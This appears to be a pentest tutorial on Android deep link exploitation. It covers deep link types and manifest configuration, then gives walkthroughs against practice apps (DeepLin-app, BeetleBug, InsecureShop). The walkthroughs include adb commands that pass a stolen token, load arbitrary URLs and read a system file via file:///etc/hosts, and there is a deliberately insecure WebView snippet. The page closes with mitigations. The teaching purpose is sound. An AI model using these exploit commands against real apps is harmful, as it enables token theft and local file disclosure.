Deep Links Hacking

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Android Pentest: Deep Link Exploitation - Hacking ArticlesHacking Articles

Android Deep Links exploit with 3 appsMedium

DeepStrike | Full account takeover through deeplink vulnerabilityDeepStrike

Handling Android App Links | Android DevelopersAndroid Developers

Types of Deep Links

1. Deep Links

Definition: Handles URIs in the form of scheme://authority/path.

Scheme: Can be standard (e.g., http, https) or custom (e.g., app://).
Authority: Should have a domain structure to clarify ownership.
Path: Directs the user to a particular activity based on app logic.

Example:

<activity
    android:name=".DeepLinkActivity"
    android:exported="true"
    android:label="DeepLink">
    <intent-filter android:label="filter_view_example_vaadata">
        <action android:name="android.intent.action.VIEW" />

        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />

        <data android:scheme="vaadata" />
        <data android:host="test" />
        <data android:path="/hello"/>
    </intent-filter>
</activity>

Here, the “DeepLinkActivity” will be able to open links of type vaadata://test/hello, vaadata://test/hello?test=1 or vaadata://test/hello?a=1&test=coucou.

Sample Link:

Instagram: instagram://media?id=123456789
Spotify: spotify:track:123456789
Facebook: fb://page?id=123456789

2. Web Links

Definition: Deep links that use the HTTP and HTTPS schemes..
Characteristics: Standard web URLs that redirect to specific app content.
Implementation:

<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />

    <data android:scheme="http" />
    <data android:host="myownpersonaldomain.com" />
</intent-filter>

http://myownpersonaldomain.com/path/to/resource

Behavior: On Android 12+, always opens in a web browser. On older versions, may display a disambiguation dialog.

3. Android App Links

Definition: Web links that use the HTTP and HTTPS schemes and contain the autoVerify attribute.

Implementation:

xmlCopy code<intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="http" />
    <data android:scheme="https" />
    <data android:host="myownpersonaldomain.com" />
</intent-filter>

Benefits:
- Secure and Specific: Links to a website domain you own.
- Seamless User Experience: Users without the app go to the website.
- Android Instant Apps Support: Users can run your app without installing it.
- Engage Users from Google Search: Opens specific content in your app from Google search results.

Steps to Add Android App Links

1. Create Deep Links

Add intent filters: Configure your app to use data from intents to direct users to the right content.

Example:

<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="http" />
    <data android:host="example.com" />
</intent-filter>

2. Add Verification for Your Deep Links

Configure verification: Request verification of app links and publish a Digital Asset Links JSON file on your website. (e.g https://evil.com/.well-known/assetlinks.json)

Example:

{
    "relation": ["delegate_permission/common.handle_all_urls"],
    "target": {"namespace": "android_app", "package_name": "com.example.app", "sha256_cert_fingerprints": ["..."]}
}

3. Use Android App Links Assistant

Tool in Android Studio: Guides you through the steps required to create Android App Links.

Exploitation of Deep Links

App 1: DeepLin-app

Step 1: Decompile the app using tools like Jadx.

Command:
```
jadx -d output_folder DeepLin-app.apk
```

Step 2: Open AndroidManifest.xml to identify intent filters.

Found Intent Filter:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="holiday"/>
</intent-filter>

Exploit via adb:

adb shell am start -a android.intent.action.VIEW -d "holiday://whatever.login/test?token=2100537c6456cd8a437f7734fad189a8"

Exploit via PoC:

Uri deepLinkURL = getIntent().getData(); 
System.out.println("Credentials: " + deepLinkURL.toString());

In AndroidManifest.xml:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <data android:scheme="holiday"/>
</intent-filter>

App 2: BeetleBug

Step 1: Decompile the app using tools like Jadx.

Command:
```
jadx -d output_folder BeetleBug.apk
```

Step 2: Open AndroidManifest.xml to identify intent filters.

Found Intent Filter:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="https" android:host="beetlebug.com" android:pathPrefix="/account"/>
</intent-filter>

Exploit via adb:

adb shell am start -a android.intent.action.VIEW -d "https://beetlebug.com/account"

App 3: InsecureShop

Step 1: Decompile the app using tools like Jadx.

Command:
```
jadx -d output_folder InsecureShop.apk
```

Step 2: Open AndroidManifest.xml to identify intent filters.

Found Intent Filter:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="insecureshop"/>
</intent-filter>

Exploit via adb to load arbitrary URL:

adb shell am start -a android.intent.action.VIEW -d 'insecureshop://com.insecureshop/web?url=http://example.com'

Exploit via adb to read system files:

adb shell am start -a android.intent.action.VIEW -d 'insecureshop://com.insecureshop/web?url=file:///etc/hosts'

Code Snippet with Vulnerabilities:

WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);

Uri uri = getIntent().getData();
if (uri != null) {
    String url = uri.getQueryParameter("url");
    if (url != null) {
        webView.loadUrl(url);
    }
}

How to Mitigate?

✅ Set android:exported="false" for sensitive activities. ✅ Enforce authentication before executing deep link actions. ✅ Use android:autoVerify="true" for web-based deep links. ✅ Sanitize Input in Deep Links ✅ Disable JavaScript & restrict URL loads in WebView.

webView.getSettings().setJavaScriptEnabled(false);
webView.getSettings().setAllowFileAccess(false);

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